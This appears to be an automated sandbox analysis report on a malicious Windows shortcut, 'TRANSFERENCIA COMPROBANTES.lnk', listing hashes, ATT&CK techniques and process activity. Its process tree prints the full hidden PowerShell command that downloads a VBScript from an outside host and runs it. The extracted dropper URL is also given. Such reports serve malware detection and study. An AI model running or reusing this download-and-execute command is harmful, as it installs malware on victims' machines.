05692e7735450069cc9e0c78bb80514c312d40ef47efbbbaae701a624fbabfba

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
09-12-2024 05:45

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General

Target

TRANSFERENCIA COMPROBANTES.lnk
Size

2KB
MD5

cfd668a55ea2ee344f5a9badb6ff18b7
SHA1

b3927747076a408a9e73afa0df3a6adadcbae950
SHA256

05692e7735450069cc9e0c78bb80514c312d40ef47efbbbaae701a624fbabfba
SHA512

e8976004a15afced95af6a14e0c8360be13014dffdcac71aff24964036318b9cec958ce87db71dfec79f88944367ed7c6beb0b6ba8187f7329d44b55fc3fa943

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1292	powershell.exe
6	1292	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1292	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1292	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1292	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1716 wrote to memory of 1292	1716	cmd.exe	32
PID 1716 wrote to memory of 1292	1716	cmd.exe	32
PID 1716 wrote to memory of 1292	1716	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\TRANSFERENCIA COMPROBANTES.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:1716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass gfdhozhdfbofdjqbopntjfmdjtginrdf -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1292

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1292-38-0x000007FEF613E000-0x000007FEF613F000-memory.dmp

Filesize
4KB

Download
memory/1292-39-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

Filesize
9.6MB

Download
memory/1292-40-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/1292-41-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

Filesize
9.6MB

Download
memory/1292-42-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/1292-43-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

Filesize
9.6MB

Download
memory/1292-44-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

Filesize
9.6MB

Download
memory/1292-45-0x000007FEF5E80000-0x000007FEF681D000-memory.dmp

Filesize
9.6MB

Download